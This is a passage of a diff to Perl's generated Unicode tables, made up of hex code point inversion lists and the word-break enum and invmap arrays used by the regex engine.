0x108F6, + 0x10900, + 0x10916, + 0x10920, + 0x1093A, + 0x10980, + 0x109B8, + 0x109BE, + 0x109C0, + 0x10A00, 0x10A01, 0x10A04, 0x10A05, 0x10A07, 0x10A0C, 0x10A10, + 0x10A14, + 0x10A15, + 0x10A18, + 0x10A19, + 0x10A34, 0x10A38, 0x10A3B, 0x10A3F, 0x10A40, + 0x10A60, + 0x10A7D, + 0x10A80, + 0x10A9D, + 0x10AC0, + 0x10AC8, + 0x10AC9, 0x10AE5, 0x10AE7, + 0x10B00, + 0x10B36, + 0x10B40, + 0x10B56, + 0x10B60, + 0x10B73, + 0x10B80, + 0x10B92, + 0x10C00, + 0x10C49, + 0x10C80, + 0x10CB3, + 0x10CC0, + 0x10CF3, 0x11000, 0x11003, 0x11038, 0x11047, + 0x11066, + 0x11070, 0x1107F, 0x11083, 0x110B0, 0x110BB, + 0x110BD, + 0x110BE, + 0x110D0, + 0x110E9, + 0x110F0, + 0x110FA, 0x11100, 0x11103, 0x11127, 0x11135, + 0x11136, + 0x11140, + 0x11150, 0x11173, 0x11174, + 0x11176, + 0x11177, 0x11180, 0x11183, 0x111B3, 0x111C1, + 0x111C5, 0x111CA, 0x111CD, + 0x111D0, + 0x111DA, + 0x111DB, + 0x111DC, + 0x111DD, + 0x11200, + 0x11212, + 0x11213, 0x1122C, 0x11238, 0x1123E, 0x1123F, + 0x11280, + 0x11287, + 0x11288, + 0x11289, + 0x1128A, + 0x1128E, + 0x1128F, + 0x1129E, + 0x1129F, + 0x112A9, + 0x112B0, 0x112DF, 0x112EB, + 0x112F0, + 0x112FA, 0x11300, 0x11304, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, 0x1133C, 0x1133D, 0x1133E, @@ -329348,70 +19648,133 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0x11349, 0x1134B, 0x1134E, + 0x11350, + 0x11351, 0x11357, 0x11358, + 0x1135D, 0x11362, 0x11364, 0x11366, 0x1136D, 0x11370, 0x11375, + 0x11400, 0x11435, 0x11447, + 0x1144B, + 0x11450, + 0x1145A, + 0x11480, 0x114B0, 0x114C4, + 0x114C6, + 0x114C7, + 0x114C8, + 0x114D0, + 0x114DA, + 0x11580, 0x115AF, 0x115B6, 0x115B8, 0x115C1, + 0x115D8, 0x115DC, 0x115DE, + 0x11600, 0x11630, 0x11641, + 0x11644, + 0x11645, + 0x11650, + 0x1165A, + 0x11680, 0x116AB, 0x116B8, + 0x116C0, + 0x116CA, 0x1171D, 0x1172C, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A5C, - 0x11A8A, - 0x11A9A, + 0x11730, + 0x1173A, + 0x118A0, + 0x118E0, + 0x118EA, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, 0x11C2F, 0x11C37, 0x11C38, 0x11C40, + 0x11C41, + 0x11C50, + 0x11C5A, + 0x11C72, + 0x11C90, 0x11C92, 0x11CA8, 0x11CA9, 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12480, + 0x12544, + 0x13000, + 0x1342F, + 0x14400, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16A60, + 0x16A6A, + 0x16AD0, + 0x16AEE, 0x16AF0, 0x16AF5, + 0x16B00, 0x16B30, 0x16B37, + 0x16B40, + 0x16B44, + 0x16B50, + 0x16B5A, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, 0x16F51, 0x16F7F, 0x16F8F, 0x16F93, + 0x16FA0, + 0x16FE0, + 0x16FE1, + 0x1B000, + 0x1B001, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, 0x1BC9D, 0x1BC9F, + 0x1BCA0, + 0x1BCA4, 0x1D165, 0x1D16A, 0x1D16D, @@ -329424,6 +19787,68 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0x1D1AE, 0x1D242, 0x1D245, + 0x1D400, + 0x1D455, + 0x1D456, + 0x1D49D, + 0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 0x1D516, + 0x1D51D, + 0x1D51E, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, + 0x1D552, + 0x1D6A6, + 0x1D6A8, + 0x1D6C1, + 0x1D6C2, + 0x1D6DB, + 0x1D6DC, + 0x1D6FB, + 0x1D6FC, + 0x1D715, + 0x1D716, + 0x1D735, + 0x1D736, + 0x1D74F, + 0x1D750, + 0x1D76F, + 0x1D770, + 0x1D789, + 0x1D78A, + 0x1D7A9, + 0x1D7AA, + 0x1D7C3, + 0x1D7C4, + 0x1D7CC, + 0x1D7CE, + 0x1D800, 0x1DA00, 0x1DA37, 0x1DA3B, @@ -329446,250 +19871,2037 @@ static const UV PL_SB__EX_invlist[] = { /* for all charsets */ 0x1E025, 0x1E026, 0x1E02B, + 0x1E800, + 0x1E8C5, 0x1E8D0, 0x1E8D7, + 0x1E900, 0x1E944, 0x1E94B, + 0x1E950, + 0x1E95A, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, + 0x1F130, + 0x1F14A, + 0x1F150, + 0x1F16A, + 0x1F170, + 0x1F18A, + 0x1F1E6, + 0x1F200, + 0x1F385, + 0x1F386, + 0x1F3C3, + 0x1F3C5, + 0x1F3CA, + 0x1F3CC, + 0x1F3FB, + 0x1F400, + 0x1F442, + 0x1F444, + 0x1F446, + 0x1F451, + 0x1F466, + 0x1F46A, + 0x1F46E, + 0x1F46F, + 0x1F470, + 0x1F479, + 0x1F47C, + 0x1F47D, + 0x1F481, + 0x1F484, + 0x1F485, + 0x1F488, + 0x1F48B, + 0x1F48C, + 0x1F4AA, + 0x1F4AB, + 0x1F575, + 0x1F576, + 0x1F57A, + 0x1F57B, + 0x1F590, + 0x1F591, + 0x1F595, + 0x1F597, + 0x1F5E8, + 0x1F5E9, + 0x1F645, + 0x1F648, + 0x1F64B, + 0x1F650, + 0x1F6A3, + 0x1F6A4, + 0x1F6B4, + 0x1F6B7, + 0x1F6C0, + 0x1F6C1, + 0x1F918, + 0x1F91F, + 0x1F926, + 0x1F927, + 0x1F930, + 0x1F931, + 0x1F933, + 0x1F93A, + 0x1F93C, + 0x1F93F, + 0xE0001, + 0xE0002, 0xE0020, 0xE0080, 0xE0100, 0xE01F0 }; -# if 'A' == 65 /* ASCII/Latin1 */ +#endif /* defined(PERL_IN_PERL_C) */ + +#if defined(PERL_IN_REGEXEC_C) + +#define WB_ENUM_COUNT 25 + +typedef enum { + WB_Other = 0, + WB_ALetter = 1, + WB_CR = 2, + WB_Double_Quote = 3, + WB_E_Base = 4, + WB_E_Base_GAZ = 5, + WB_E_Modifier = 6, + WB_Extend = 7, + WB_ExtendNumLet = 8, + WB_Format = 9, + WB_Glue_After_Zwj = 10, + WB_Hebrew_Letter = 11, + WB_Katakana = 12, + WB_LF = 13, + WB_MidLetter = 14, + WB_MidNum = 15, + WB_MidNumLet = 16, + WB_Newline = 17, + WB_Numeric = 18, + WB_Perl_Tailored_HSpace = 19, + WB_Regional_Indicator = 20, + WB_Single_Quote = 21, + WB_ZWJ = 22, + WB_EDGE = 23, + WB_UNKNOWN = 24 +} WB_enum; + +static const WB_enum _Perl_WB_invmap[] = { /* for ASCII/Latin1 */ + WB_Other, + WB_Perl_Tailored_HSpace, + WB_LF, + WB_Newline, + WB_CR, + WB_Other, + WB_Perl_Tailored_HSpace, + WB_Other, + WB_Double_Quote, + WB_Other, + WB_Single_Quote, + WB_Other, + WB_MidNum, + WB_Other, + WB_MidNumLet, + WB_Other, + WB_Numeric, + WB_MidLetter, + WB_MidNum, + WB_Other, + WB_ALetter, + WB_Other, + WB_ExtendNumLet, + WB_Other, + WB_ALetter, + WB_Other, + WB_Newline, + WB_Other, + WB_Perl_Tailored_HSpace, + WB_Other, + WB_ALetter, + WB_Other, + WB_Format, + WB_Other, + WB_ALetter, + WB_Other, + WB_MidLetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_MidLetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_MidNum, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_MidLetter, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_MidNum, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_ALetter, + WB_MidLetter, + WB_Other, + WB_Format, + WB_Other, + WB_MidNum, + WB_Other, + WB_Extend, + WB_Other, + WB_Format, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Numeric, + WB_Other, + WB_Numeric, + WB_MidNum, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Format, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Numeric, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Format, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_MidNum, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Format, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Numeric, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Perl_Tailored_HSpace, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Format, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Numeric, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Numeric, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Numeric, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Perl_Tailored_HSpace, + WB_Other, + WB_Extend, + WB_ZWJ, + WB_Format, + WB_Other, + WB_MidNumLet, + WB_Other, + WB_MidNumLet, + WB_Other, + WB_MidLetter, + WB_Newline, + WB_Format, + WB_ExtendNumLet, + WB_Other, + WB_ExtendNumLet, + WB_Other, + WB_MidNum, + WB_Other, + WB_ExtendNumLet, + WB_Other, + WB_Perl_Tailored_HSpace, + WB_Format, + WB_Other, + WB_Format, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_Glue_After_Zwj, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Perl_Tailored_HSpace, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Katakana, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Katakana, + WB_Other, + WB_Katakana, + WB_Other, + WB_Katakana, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Katakana, + WB_Other, + WB_Katakana, + WB_Other, + WB_Katakana, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Numeric, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Hebrew_Letter, + WB_Extend, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_MidNum, + WB_Other, + WB_MidLetter, + WB_MidNum, + WB_Other, + WB_Extend, + WB_Other, + WB_ExtendNumLet, + WB_Other, + WB_ExtendNumLet, + WB_MidNum, + WB_Other, + WB_MidNumLet, + WB_Other, + WB_MidNum, + WB_MidLetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Format, + WB_Other, + WB_MidNumLet, + WB_Other, + WB_MidNum, + WB_Other, + WB_MidNumLet, + WB_Other, + WB_MidLetter, + WB_MidNum, + WB_Other, + WB_ALetter, + WB_Other, + WB_ExtendNumLet, + WB_Other, + WB_ALetter, + WB_Other, + WB_Katakana, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Format, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Format, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + 